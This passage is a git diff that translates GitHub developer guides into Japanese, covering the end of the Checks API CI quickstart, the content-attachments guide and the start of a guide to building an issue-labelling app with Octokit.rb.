+ファイルはローカルで変更されますが、それを GitHub にプッシュする必要はあります。 便利な `ruby-git` gem を再び使用し、全てのファイルをコミットしましょう。 Git には、変更または削除されたすべてのファイルをステージングし、それらをコミットする `git commit -a` というコマンドがあります。 `ruby-git` を使用して同じことを行うため、上記のコードは `commit_all` メソッドを使用しています。 それから、このコードは Git の `clone` コマンドと同じ認証方式を使用し、インストールトークンを使用して GitHub にコミットしたファイルをプッシュします。 最後に、リポジトリディレクトリを削除して、ワーキングディレクトリが次のイベントに備えるようにします。
 
-That's it! The code you have written now completes your Checks API CI server. 💪 Restart your `template_server.rb` server again and create a new pull request:
+これで完了です。 Checks API CI サーバーのコードがついに完成しました。 💪 `template_server.rb` サーバーをもう一度再起動し、新しいプルリクエストを次の通り作成しましょう。
 
 ```shell
 $ ruby template_server.rb
@@ -684,21 +685,21 @@ $ ruby template_server.rb
 
 {% data reusables.apps.sinatra_restart_instructions %}
 
-This time, click the "Fix this" button to automatically fix the errors RuboCop found from the **Checks** tab.
+今回は、[Fix this] ボタンをクリックすると、RuboCop が [**Checks**] タブから見つけたエラーを自動的に修正します。
 
-In the **Commits** tab, you'll see a brand new commit by the username you set in your Git configuration. You may need to refresh your browser to see the update.
+[**Commits**] タブには、Git コンフィグレーションで設定したユーザ名による新たなコミットが表示されています。 更新を確認するには、ブラウザを更新する必要がある場合があります。
 
-![A new commit to automatically fix Octo RuboCop notices](/assets/images/github-apps/github_apps_new_requested_action_commit.png)
+![Octo RuboCop の通知を自動的に修正する新しいコミット](/assets/images/github-apps/github_apps_new_requested_action_commit.png)
 
-Because a new commit was pushed to the repo, you'll see a new check suite for Octo RuboCop in the **Checks** tab. But this time there are no errors because RuboCop fixed them all. 🎉
+新たなコミットがリポジトリにプッシュされたので、[**Checks**] タブに Octo RuboCop の新しいチェックスイートが表示されています。 しかし今回はエラーがありません。RuboCop がエラーをすべて修正したからです。 🎉
 
-![No check suite or check run errors](/assets/images/github-apps/github_apps_checks_api_success.png)
+![チェックスイート、チェック実行のエラーなし](/assets/images/github-apps/github_apps_checks_api_success.png)
 
-You can find the completed code for the app you just built in the `server.rb` file in the [Creating CI tests with the Checks API](https://github.com/github-developer/creating-ci-tests-with-the-checks-api) repository.
+ここであなたか構築したアプリケーションの完成したコードは、[Checks API で CI テストを作成する](https://github.com/github-developer/creating-ci-tests-with-the-checks-api)のリポジトリの `server.rb` ファイルにあります。
 
-## Step 2.7. Security tips
+## ステップ 2.7. セキュリティのヒント
 
-The template GitHub App code already has a method to verify incoming webhook payloads to ensure they are from a trusted source. If you are not validating webhook payloads, you'll need to ensure that when repository names are included in the webhook payload, the webhook does not contain arbitrary commands that could be used maliciously. The code below validates that the repository name only contains Latin alphabetic characters, hyphens, and underscores. To provide you with a complete example, the complete `server.rb` code available in the [companion repository](https://github.com/github-developer/creating-ci-tests-with-the-checks-api) for this quickstart includes both the method of validating incoming webhook payloads and this check to verify the repository name.
+GitHub App コードのテンプレートには、受信した webhook ペイロードを検証して、信頼できるソースからのものであることを確認するためのメソッドが最初から用意されています。 webhook ペイロードを検証しない場合、リポジトリ名が webhook ペイロードに含まれる際には、その webhook が悪意をもって使用されかねない任意のコマンドを確実に含まないようにする必要があります。 以下のコードは、リポジトリ名に含まれる文字がラテン文字、ハイフン、アンダースコアのみであることを検証します。 完全なサンプルを提供するため、[コンパニオンリポジトリ](https://github.com/github-developer/creating-ci-tests-with-the-checks-api)で入手できる、このクイックスタートのための完成した `server.rb` コードには、受信する webhook ペイロードを検証するメソッドと、リポジトリ名を検証するためのここで挙げたチェックの両方が含まれています。
 
 ``` ruby
 # This quickstart example uses the repository name in the webhook with
@@ -712,43 +713,43 @@ unless @payload['repository'].nil?
 end
 ```
 
-## Troubleshooting
+## トラブルシューティング
 
-Here are a few common problems and some suggested solutions. If you run into any other trouble, you can ask for help or advice in the {% data variables.product.prodname_support_forum_with_url %}.
+以下は、いくつかの一般的な問題と推奨される解決策です。 他の問題が生じた場合は、{% data variables.product.prodname_support_forum_with_url %}で助けやアドバイスを求めることができます。
 
-* **Q:** My app isn't pushing code to GitHub. I don't see the fixes that RuboCop automatically makes!
+* **Q:** アプリケーションが GitHub にコードをプッシュしません。 RuboCop が自動的に行う修正が表示されません。
 
-    **A:** Make sure you have **Read & write** permissions for "Repository contents," and that you are cloning the repository with your installation token. See [Step 2.2. Cloning the repository](#step-22-cloning-the-repository) for details.
+    **A:** [Repository contents] に対する **Read & write** 権限があること、およびインストールトークンでリポジトリをクローンしていることを確認します。 [ステップ 2.2. リポジトリをクローンする](#step-22-cloning-the-repository)を参照してください。
 
-* **Q:** I see an error in the `template_server.rb` debug output related to cloning my repository.
+* **Q:** リポジトリのクローンに関する、`template_server.rb` デバッグ出力にエラーが表示されます。
 
-    **A:** If you see the following error, you haven't deleted the checkout of the repository in one or both of the `initiate_check_run` or `take_requested_action` methods:
+    **A:** 以下のエラーが表示される場合、`initiate_check_run` と `take_requested_action` メソッドのいずれかのリポジトリでチェックアウトを削除していません。
 
     ```shell
     2018-11-26 16:55:13 - Git::GitExecuteError - git  clone '--' 'https://x-access-token:ghs_9b2080277016f797074c4dEbD350745f4257@github.com/codertocat/octocat-breeds.git' 'Octocat-breeds'  2>&1:fatal: destination path 'Octocat-breeds' already exists and is not an empty directory.:
     ```
 
-    Compare your code to the `server.rb` file to ensure you have the same code in your `initiate_check_run` and `take_requested_action` methods.
+    コードを `server.rb` ファイルと比較し、`initiate_check_run` および `take_requested_action` メソッドと同じコードがあることを確認してください。
 
-* **Q:** New check runs are not showing up in the "Checks" tab on GitHub.
+* **Q:** 新しいチェック実行が、GitHub の [Checks] タブで表示されません。
 
-    **A:** Restart Smee and re-run your `template_server.rb` server.
+    **A:** Smee を再起動し、`template_server.rb` サーバーを再実行してください。
 
-* **Q:** I do not see the "Re-run all" button in the "Checks" tab on GitHub.
+* **Q:** [Re-run all] ボタンが、GitHub の [Checks] タブで表示されません。
 
-    **A:** Restart Smee and re-run your `template_server.rb` server.
+    **A:** Smee を再起動し、`template_server.rb` サーバーを再実行してください。
 
-## Conclusion
+## おわりに
 
-After walking through this guide, you've learned the basics of using the Checks API to create a CI server! To review, you:
+このガイドの手順を一通り終えたら、Checks API を使用して CI サーバーを作成することの基本が習得できています。 振り返ると、以下を行いました。
 
-* Configured your server to receive Checks API events and create check runs.
-* Used RuboCop to check code in repositories and create annotations for the errors.
-* Implemented a requested action that automatically fixes linter errors.
+* Checks API イベントを受信し、チェック実行を作成するようサーバーを設定しました。
+* リポジトリ内のコードをチェックし、エラーのアノテーションを作成するため RuboCop を使用しました。
+* 文法エラーを自動的に修正する、リクエストされたアクションを実装しました。
 
-## Next steps
+## 次のステップ
 
-Here are some ideas for what you can do next:
+以下は、次に行えることのいくつかのアイデアです。
 
-* Currently, the "Fix this" button is always displayed. Update the code you wrote to display the "Fix this" button only when RuboCop finds errors.
-* If you'd prefer that RuboCop doesn't commit files directly to the head branch, you can update the code to [create a pull request](/rest/reference/pulls#create-a-pull-request) with a new branch based on the head branch.
+* 現在、[Fix this] ボタンは常に表示されています。 ここまで書いたコードを更新し、RuboCop がエラーを見つけた時にのみ [Fix this] ボタンが表示されるようにしましょう。
+* RuboCop がファイルを head ブランチに直接コミットしないようにしたい場合、head ブランチに基づいて新しいブランチで[プルリクエストを作成する](/rest/reference/pulls#create-a-pull-request)ようにコードを更新できます。
diff --git a/translations/ja-JP/content/developers/apps/guides/using-content-attachments.md b/translations/ja-JP/content/developers/apps/guides/using-content-attachments.md
index 8b8ddf5c68..35c0eba9b9 100644
--- a/translations/ja-JP/content/developers/apps/guides/using-content-attachments.md
+++ b/translations/ja-JP/content/developers/apps/guides/using-content-attachments.md
@@ -1,42 +1,43 @@
 ---
-title: Using content attachments
-intro: Content attachments allow a GitHub App to provide more information in GitHub for URLs that link to registered domains. GitHub renders the information provided by the app under the URL in the body or comment of an issue or pull request.
+title: 添付コンテンツを使用する
+intro: 添付コンテンツを使うと、GitHub Appは登録されたドメインにリンクするURLに対し、GitHub内でより多くの情報を提供できます。 GitHubは、アプリケーションから提供された情報を、IssueやPull Requestのボディやコメント内のURLの下に表示します。
 redirect_from:
   - /apps/using-content-attachments
   - /developers/apps/using-content-attachments
 versions:
-  ghes: '<3.4'
+  ghes: <3.4
 topics:
   - GitHub Apps
 ---
+
 {% data reusables.pre-release-program.content-attachments-public-beta %}
 
-## About content attachments
+## 添付コンテンツについて
 
-A GitHub App can register domains that will trigger `content_reference` events. When someone includes a URL that links to a registered domain in the body or comment of an issue or pull request, the app receives the [`content_reference` webhook](/webhooks/event-payloads/#content_reference). You can use content attachments to visually provide more context or data for the URL added to an issue or pull request. The URL must be a fully-qualified URL, starting with either `http://` or `https://`. URLs that are part of a markdown link are ignored and don't trigger the `content_reference` event.
+GitHub Appは、`content_reference`イベントをトリガーするドメインを登録できます。 Issueまたはプルリクエストの、ボディまたはコメントに、登録されたドメインにリンクするURLが含まれている場合、アプリケーションは[`content_reference` webhook](/webhooks/event-payloads/#content_reference)を受け取ります。 添付コンテンツを使用して、Issueまたはプルリクエストに追加したURLについてのコンテキストやデータを視覚的に追加できます。 URLは、`http://`または`https://`から始まる、完全修飾URLである必要があります。 Markdownリンクの一部であるURLは無視され、`content_reference`イベントをトリガーしません。
 
-Before you can use the {% data variables.product.prodname_unfurls %} API, you'll need to configure content references for your GitHub App:
-* Give your app `Read & write` permissions for "Content references."
-* Register up to 5 valid, publicly accessible domains when configuring the "Content references" permission. Do not use IP addresses when configuring content reference domains. You can register a domain name (example.com) or a subdomain (subdomain.example.com).
-* Subscribe your app to the "Content reference" event.
+{% data variables.product.prodname_unfurls %} APIを使用する前に、以下を行ってGitHub Appのコンテンツ参照を設定する必要があります。
+* アプリケーションに、[Content references] に対する`Read & write`権限を付与します。
+* [Content references] 権限を設定する際に、一般にアクセス可能なドメインを5つまで登録します。 コンテンツ参照ドメインを設定する際は、IPアドレスは使用しないでください。 ドメイン名 (example.com) またはサブドメイン (subdomain.example.com) を登録できます。
+* アプリケーションを [Content reference] イベントにサブスクライブします。
 
-Once your app is installed on a repository, issue or pull request comments in the repository that contain URLs for your registered domains will generate a content reference event. The app must create a content attachment within six hours of the content reference URL being posted.
+アプリケーションがリポジトリにインストールされると、登録されたドメインへのURLが含まれるIssueまたはプルリクエストのコメントでは、コンテンツ参照イベントが生成されます。 アプリケーションは、コンテンツ参照URLがポストされてから6時間以内に添付コンテンツを作成しなければなりません。
 
-Content attachments will not retroactively update URLs. It only works for URLs added to issues or pull requests after you configure the app using the requirements outlined above and then someone installs the app on their repository.
+添付コンテンツが、URLを遡って更新することはありません。 上記でまとめた要件に従ってアプリケーションを設定した後に、ユーザがリポジトリにアプリケーションをインストールしてから、Issueまたはプルリクエストに追加したURLに対してのみ機能します。
 
-See "[Creating a GitHub App](/apps/building-github-apps/creating-a-github-app/)" or "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)" for the steps needed to configure GitHub App permissions and event subscriptions.
+GitHub App の権限やイベントのサブスクリプションを設定するために必要なステップに関する詳しい情報については、「<[GitHub App を作成する](/apps/building-github-apps/creating-a-github-app/)」または「[GitHub App の権限を編集する](/apps/managing-github-apps/editing-a-github-app-s-permissions/)」を参照してください。
 
-## Implementing the content attachment flow
+## 添付コンテンツフローを実装する
 
-The content attachment flow shows you the relationship between the URL in the issue or pull request, the `content_reference` webhook event, and the REST API endpoint you need to call to update the issue or pull request with additional information:
+添付コンテンツのフローは、IssueもしくはPull Request中のURL、`content_reference` webhookイベント、追加情報でIssueもしくはPull Requestを更新するために呼ぶ必要があるREST APIエンドポイント間の関係を示します。
 
-**Step 1.** Set up your app using the guidelines outlined in [About content attachments](#about-content-attachments). You can also use the [Probot App example](#example-using-probot-and-github-app-manifests) to get started with content attachments.
+**ステップ 1.** [添付コンテンツについて](#about-content-attachments)に記載されているガイドラインに従ってアプリケーションを設定します。 添付コンテンツを使い始めるには、[Probotアプリケーションのサンプル](#example-using-probot-and-github-app-manifests)を使うこともできます。
 
-**Step 2.** Add the URL for the domain you registered to an issue or pull request. You must use a fully qualified URL that starts with `http://` or `https://`.
+**ステップ2。**IssueもしくはPull Requestに登録したドメインのURLを追加します。 `http://`もしくは`https://`で始まる完全修飾URLを使わなければなりません。
 
-![URL added to an issue](/assets/images/github-apps/github_apps_content_reference.png)
+![Issueに追加されたURL](/assets/images/github-apps/github_apps_content_reference.png)
 
-**Step 3.** Your app will receive the [`content_reference` webhook](/webhooks/event-payloads/#content_reference) with the action `created`.
+**ステップ3。**アプリケーションは`created`アクション付きで[`content_reference` webhook](/webhooks/event-payloads/#content_reference)を受信します。
 
 ``` json
 {
@@ -57,12 +58,12 @@ The content attachment flow shows you the relationship between the URL in the is
 }
 ```
 
-**Step 4.** The app uses the `content_reference` `id` and `repository` `full_name` fields to [Create a content attachment](/rest/reference/apps#create-a-content-attachment) using the REST API. You'll also need the `installation` `id` to authenticate as a [GitHub App installation](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation).
+**ステップ4。**アプリケーションはREST APIを使って[添付コンテンツを作成する](/rest/reference/apps#create-a-content-attachment)ために`content_reference` `id`と`repository` `full_name`フィールドを使います。 [GitHub Appのインストール](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)として認証を受けるために、`installation` `id`も必要になります。
 
 {% data reusables.pre-release-program.corsair-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
 
-The `body` parameter can contain markdown:
+`body`パラメータにはMarkdownが含まれていることがあります。
 
 ```shell
 curl -X POST \
@@ -70,24 +71,24 @@ curl -X POST \
   -H 'Accept: application/vnd.github.corsair-preview+json' \
   -H 'Authorization: Bearer $INSTALLATION_TOKEN' \
   -d '{
-	"title": "[A-1234] Error found in core/models.py file",
-	"body": "You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()"
+    "title": "[A-1234] Error found in core/models.py file",
+    "body": "You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()"
 }'
 ```
 
-For more information about creating an installation token, see "[Authenticating as a GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)."
+インストールトークンの作成に関する詳しい情報については「[GitHub Appとして認証する](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)」を参照してください。
 
-**Step 5.** You'll see the new content attachment appear under the link in a pull request or issue comment:
+**ステップ5。** Pull RequestもしくはIssueコメント内のリンクの下に、新しい添付コンテンツが表示されます。
 
-![Content attached to a reference in an issue](/assets/images/github-apps/content_reference_attachment.png)
+![Issueのリファレンスに添付されたコンテンツ](/assets/images/github-apps/content_reference_attachment.png)
 
-## Using content attachments in GraphQL
-We provide the `node_id` in the [`content_reference` webhook](/webhooks/event-payloads/#content_reference) event so you can refer to the `createContentAttachment` mutation in the GraphQL API.
+## GraphQLでの添付コンテンツの利用
+[`content_reference` webhook](/webhooks/event-payloads/#content_reference)イベント中で`node_id`を提供しているので、GraphQL APIの`createContentAttachment`ミューテーションを参照できます。
 
 {% data reusables.pre-release-program.corsair-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
 
-For example:
+例:
 
 ``` graphql
 mutation {
@@ -106,7 +107,7 @@ mutation {
   }
 }
 ```
-Example cURL:
+cURLの例:
 
 ```shell
 curl -X "POST" "{% data variables.product.api_url_code %}/graphql" \
@@ -118,24 +119,24 @@ curl -X "POST" "{% data variables.product.api_url_code %}/graphql" \
 }'
 ```
 
-For more information on `node_id`, see "[Using Global Node IDs]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)."
+`node_id`の詳しい情報については「[グローバルノードIDの利用]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)」を参照してください。
 
-## Example using Probot and GitHub App Manifests
+## ProbotとGitHub Appマニフェストの利用例
 
-To quickly setup a GitHub App that can use the {% data variables.product.prodname_unfurls %} API, you can use [Probot](https://probot.github.io/). See "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" to learn how Probot uses GitHub App Manifests.
+{% data variables.product.prodname_unfurls %} APIを使用できるGitHub Appを手早くセットアップするには、[Probot](https://probot.github.io/)が利用できます。 ProbotがどのようにGitHub Appのマニフェストを使用するかを学ぶには、「[マニフェストからのGitHub Appの作成](/apps/building-github-apps/creating-github-apps-from-a-manifest/)」を参照してください。
 
-To create a Probot App, follow these steps:
+Probotアプリケーションを作成するには、以下のステップに従ってください。
 
-1. [Generate a new GitHub App](https://probot.github.io/docs/development/#generating-a-new-app).
-2. Open the project you created, and customize the settings in the `app.yml` file. Subscribe to the `content_reference` event and enable `content_references` write permissions:
+1. [新しい GitHub App を作成](https://probot.github.io/docs/development/#generating-a-new-app)します。
+2. 作成したプロジェクトを開き、 `app.yml` ファイルの設定をカスタマイズします。 `content_reference`イベントをサブスクライブし、`content_references`の書き込み権限を有効化してください。
 
    ``` yml
     default_events:
       - content_reference
-    # The set of permissions needed by the GitHub App. The format of the object uses
-    # the permission name for the key (for example, issues) and the access type for
-    # the value (for example, write).
-    # Valid values are `read`, `write`, and `none`
+    # GitHub Appが必要とする権限セット。 このオブジェクトのフォーマットは、
+    # キーの権限名（たとえばissues）と値のためのアクセスの
+    # 種類（たとえばwrite）を使います。
+    # 取り得る値は `read`、`write`、`none`
     default_permissions:
       content_references: write
 
@@ -146,11 +147,11 @@ To create a Probot App, follow these steps:
         value: example.org
    ```
 
-3. Add this code to the `index.js` file to handle `content_reference` events and call the REST API:
+3. このコードを`index.js` ファイルに追加して、`content_reference`を処理してREST APIを呼ぶようにします。
 
     ``` javascript
     module.exports = app => {
-      // Your code here
+      // ここにコードを書く
       app.log('Yay, the app was loaded!')
        app.on('content_reference.created', async context => {
         console.log('Content reference created!', context.payload)
@@ -167,13 +168,13 @@ To create a Probot App, follow these steps:
     }
     ```
 
-4. [Run the GitHub App locally](https://probot.github.io/docs/development/#running-the-app-locally). Navigate to `http://localhost:3000`, and click the **Register GitHub App** button:
+4. [GitHub Appをローカルで動作させます](https://probot.github.io/docs/development/#running-the-app-locally)。 `http://localhost:3000`にアクセスして、**Register GitHub App**ボタンをクリックしてください。
 
-   ![Register a Probot GitHub App](/assets/images/github-apps/github_apps_probot-registration.png)
+   ![Probot GitHub App の登録](/assets/images/github-apps/github_apps_probot-registration.png)
 
-5. Install the app on a test repository.
-6. Create an issue in your test repository.
-7. Add a comment to the issue you opened that includes the URL you configured in the `app.yml` file.
-8. Take a look at the issue comment and you'll see an update that looks like this:
+5. テストリポジトリにアプリケーションをインストールしてください。
+6. テストリポジトリでIssueを作成してください。
+7. オープンしたIssueに`app.yml`ファイルで設定したURLを含むコメントを追加してください。
+8. Issueのコメントを見ると、以下のように更新されています。
 
-   ![Content attached to a reference in an issue](/assets/images/github-apps/content_reference_attachment.png)
+   ![Issueのリファレンスに添付されたコンテンツ](/assets/images/github-apps/content_reference_attachment.png)
diff --git a/translations/ja-JP/content/developers/apps/guides/using-the-github-api-in-your-app.md b/translations/ja-JP/content/developers/apps/guides/using-the-github-api-in-your-app.md
index fa26be18c7..02ca0e15e9 100644
--- a/translations/ja-JP/content/developers/apps/guides/using-the-github-api-in-your-app.md
+++ b/translations/ja-JP/content/developers/apps/guides/using-the-github-api-in-your-app.md
@@ -1,6 +1,6 @@
 ---
-title: Using the GitHub API in your app
-intro: Learn how to set up your app to listen for events and use the Octokit library to perform REST API operations.
+title: アプリケーションでのGitHub APIの利用
+intro: イベントを待ち受けるアプリケーションのセットアップと、Octokitライブラリを使ったREST APIの操作の方法を学んでください。
 redirect_from:
   - /apps/building-your-first-github-app
   - /apps/quickstart-guides/using-the-github-api-in-your-app
@@ -12,89 +12,90 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Build an app with the REST API
+shortTitle: REST APIでアプリケーションをビルドする
 ---
-## Introduction
 
-This guide will help you build a GitHub App and run it on a server. The app you build will add a label to all new issues opened in the repository where the app is installed.
+## はじめに
 
-This project will walk you through the following:
+このガイドは、GitHub Appをビルドしてサーバー上で実行するのに役立ちます。 ビルドするアプリケーションは、アプリケーションがインストールされたリポジトリでオープンされたすべての新しいIssueにラベルを付けます。
 
-* Programming your app to listen for events
-* Using the Octokit.rb library to do REST API operations
+このプロジェクトでは、以下を見ていきます。
+
+* イベントを待ち受けるアプリケーションのプログラミング
+* Octokit.rbライブラリを使ったREST APIの操作の実行
 
 {% data reusables.apps.app-ruby-guides %}
 
-Once you've worked through the steps, you'll be ready to develop other kinds of integrations using the full suite of GitHub APIs. {% ifversion fpt or ghec %}You can check out successful examples of apps on [GitHub Marketplace](https://github.com/marketplace) and [Works with GitHub](https://github.com/works-with).{% endif %}
+以下のステップを行っていけば、GitHub APIの完全な一式を使って他の種類のインテグレーションを開発する準備が整います。 {% ifversion fpt or ghec %} アプリケーションの成功例は、[GitHub Marketplace](https://github.com/marketplace)や[Works with GitHub](https://github.com/works-with)で調べることができます。{% endif %}
 
-## Prerequisites
+## 必要な環境
 
-You may find it helpful to have a basic understanding of the following:
+以下に関する基本的な理解があると役立つでしょう。
 
 * [GitHub Apps](/apps/about-apps)
-* [Webhooks](/webhooks)
-* [The Ruby programming language](https://www.ruby-lang.org/en/)
-* [REST APIs](/rest)
+* [webhook](/webhooks)
+* [プログラミング言語のRuby](https://www.ruby-lang.org/en/)
+* [REST API](/rest)
 * [Sinatra](http://sinatrarb.com/)
 
-But you can follow along at any experience level. We'll link out to information you need along the way!
+とはいえ、経験のレベルにかかわらず見ていくことはできます。 その過程で必要な情報にはリンクしていきます！
 
-Before you begin, you'll need to do the following:
+始める前に、以下を行っておく必要があります。
 
-1. Clone the [Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app) repository.
+1. [Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app)リポジトリのクローン。
   ```shell
     $ git clone https://github.com/github-developer/using-the-github-api-in-your-app.git
   ```
 
-  Inside the directory, you'll find a `template_server.rb` file with the template code you'll use in this quickstart and a `server.rb` file with the completed project code.
+  ディレクトリの中には、このクイックスタートで使用する `template_server.rb` ファイルと、完成したプロジェクトコードである `server.rb` ファイルがあります。
 
-1. Follow the steps in the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart to configure and run the `template_server.rb` app server. If you've previously completed a GitHub App quickstart other than [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/), you should register a _new_ GitHub App and start a new Smee channel to use with this quickstart.
+1. [開発環境のセットアップ](/apps/quickstart-guides/setting-up-your-development-environment/)クイックスタート中のステップに従い、`template_server.rb`アプリケーションサーバーを設定し、実行してください。 [開発環境のセットアップ](/apps/quickstart-guides/setting-up-your-development-environment/)以外のGitHub Appクイックスタートを完了させたことがあるなら、_新しい_GitHub Appを登録して、このクイックスタートで使う新しいSmeeチャンネルを開始してください。
 
-  This quickstart includes the same `template_server.rb` code as the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart. **Note:** As you follow along with the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart, make sure to use the project files included in the [Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app) repository.
+  このクイックスタートには、[開発環境のセットアップ](/apps/quickstart-guides/setting-up-your-development-environment/)クイックスタートと同じ`template_server.rb`コードが含まれています。 **ノート:** [開発環境のセットアップ](/apps/quickstart-guides/setting-up-your-development-environment/)クイックスタートを見ていく際には、必ず[Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app)リポジトリに含まれているプロジェクトをファイルを使ってください。
 
-  See the [Troubleshooting](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting) section if you are running into problems setting up your template GitHub App.
+  テンプレートのGitHub Appのセットアップで問題が生じた場合は、[トラブルシューティング](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting)のセクションを参照してください。
 
-## Building the app
+## アプリケーションのビルド
 
-Now that you're familiar with the `template_server.rb` code, you're going to create code that automatically adds the `needs-response` label to all issues opened in the repository where the app is installed.
+`template_server.rb`のコードに馴染んだところで、アプリケーションがインストールされたリポジトリでオープンされたすべてのIssueに自動的に`needs-response`ラベルを追加するコードを作成しましょう。
 
-The `template_server.rb` file contains app template code that has not yet been customized. In this file, you'll see some placeholder code for handling webhook events and some other code for initializing an Octokit.rb client.
+`template_server.rb`ファイルには、まだカスタマイズされていないアプリケーションのテンプレートコードが含まれています。 このファイルには、webhookイベントを処理するためのプレースホルダーのコードや、Octokit.rbクライアントを初期化する他のコードが含まれています。
 
 {% note %}
 
-**Note:** `template_server.rb` contains many code comments that complement this guide and explain additional technical details. You may find it helpful to read through the comments in that file now, before continuing with this section, to get an overview of how the code works.
+**ノート:** `template_server.rb`には、このガイドを補完し、追加の技術的な詳細を説明する多くのコードコメントが含まれています。 このセクションの先に進む前に、コードの動作の概要をつかむために、この時点でこのファイル中のコメントを読み通しておくと役立つかもしれません。
 
-The final customized code that you'll create by the end of this guide is provided in [`server.rb`](https://github.com/github-developer/using-the-github-api-in-your-app/blob/master/server.rb). Try waiting until the end to look at it, though!
+このガイドの終わりに作成することになるカスタマイズされた最終のコードは、[`server.rb`](https://github.com/github-developer/using-the-github-api-in-your-app/blob/master/server.rb)にあります。 とはいえ、最後までそれを見るのは待ってみてください!
 
 {% endnote %}
 
-These are the steps you'll complete to create your first GitHub App:
+以下が、最初のGitHub Appを作成するまでに行うステップです。
 
-1. [Update app permissions](#step-1-update-app-permissions)
-2. [Add event handling](#step-2-add-event-handling)
-3. [Create a new label](#step-3-create-a-new-label)
-4. [Add label handling](#step-4-add-label-handling)
+1. [アプリケーションの権限の更新](#step-1-update-app-permissions)
+2. [イベント処理の追加](#step-2-add-event-handling)
+3. [新しいラベルの作成](#step-3-create-a-new-label)
+4. [ラベルの処理の追加](#step-4-add-label-handling)
 
-## Step 1. Update app permissions
+## ステップ 1. アプリケーションの権限の更新
 
-When you [first registered your app](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app), you accepted the default permissions, which means your app doesn't have access to most resources. For this example, your app will need permission to read issues and write labels.
+[最初にアプリケーションを登録](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app)した際は、デフォルトの権限を受け入れています。これは、アプリケーションがほとんどのリソースにアクセスできないことを意味します。 この例においては、アプリケーションはIssueを読み、ラベルを書く権限を必要とします。
 
-To update your app's permissions:
+アプリケーションの権限を更新するには、以下の手順に従います。
 
-1. Select your app from the [app settings page](https://github.com/settings/apps) and click **Permissions & Webhooks** in the sidebar.
-1. In the "Permissions" section, find "Issues," and select **Read & Write** in the "Access" dropdown next to it. The description says this option grants access to both issues and labels, which is just what you need.
-1. In the "Subscribe to events" section, select **Issues** to subscribe to the event.
+1. [アプリケーションの設定ページ](https://github.com/settings/apps)からアプリケーションを選択し、サイドバーの [**Permissions & Webhooks**] をクリックします。
+1. "Permissions（権限）"セクションで"Issues"を見つけ、隣の"Access（アクセス）"ドロップダウンで**Read & Write（読み書き）**を選択してください。 このオプションはIssueとラベルの両方へのアクセスを許可するものと説明されており、これはまさに必要なことです。
+1. "Subscribe to events（イベントのサブスクライブ）"セクションで、**Issues**を選択してこのイベントをサブスクライブしてください。
 {% data reusables.apps.accept_new_permissions_steps %}
 
-Great! Your app has permission to do the tasks you want it to do. Now you can add the code to make it work.
+これでうまくいきました。 アプリケーションは必要なタスクを実行する権限を所有しています。 これで、アプリケーションを動作させるコードを追加できるようになりました。
 
-## Step 2. Add event handling
+## ステップ 2. イベント処理の追加
 
-The first thing your app needs to do is listen for new issues that are opened. Now that you've subscribed to the **Issues** event, you'll start receiving the [`issues`](/webhooks/event-payloads/#issues) webhook, which is triggered when certain issue-related actions occur. You can filter this event type for the specific action you want in your code.
+アプリケーションが最初にやらなければならないのは、オープンされた新しいIssueを待ち受けることです。 **Issues**イベントにサブスクライブしたので、[`issues`](/webhooks/event-payloads/#issues) webhookを受信し始めることになります。このイベントは、特定のIssueに関連するアクションが生じたときにトリガーされます。 コード中にほしい特定のアクションに対してこのイベントの種類をフィルターできます。
 
-GitHub sends webhook payloads as `POST` requests. Because you forwarded your Smee webhook payloads to `http://localhost/event_handler:3000`, your server will receive the `POST` request payloads in the `post '/event_handler'` route.
+GitHub は webhook ペイロードを `POST` リクエストとして送信します。 Smeeのwebhookペイロードは`http://localhost/event_handler:3000`に転送しているので、サーバーはこの`POST`リクエストのペイロードを`post '/event_handler'`ルートで受け取ります。
 
-An empty `post '/event_handler'` route is already included in the `template_server.rb` file, which you downloaded in the [prerequisites](#prerequisites) section. The empty route looks like this:
+空の `post '/event_handler'` ルートは、[必要な環境](#prerequisites)セクションでダウンロードした `template_server.rb` ファイルに既に含まれています。 空のルートは次のようになっています。
 
 ``` ruby
   post '/event_handler' do
@@ -107,7 +108,7 @@ An empty `post '/event_handler'` route is already included in the `template_serv
   end
 ```
 
-Use this route to handle the `issues` event by adding the following code:
+以下のコードを追加することで、このルートを使って`issues`イベントを処理してください。
 
 ``` ruby
 case request.env['HTTP_X_GITHUB_EVENT']
@@ -118,9 +119,9 @@ when 'issues'
 end
 ```
 
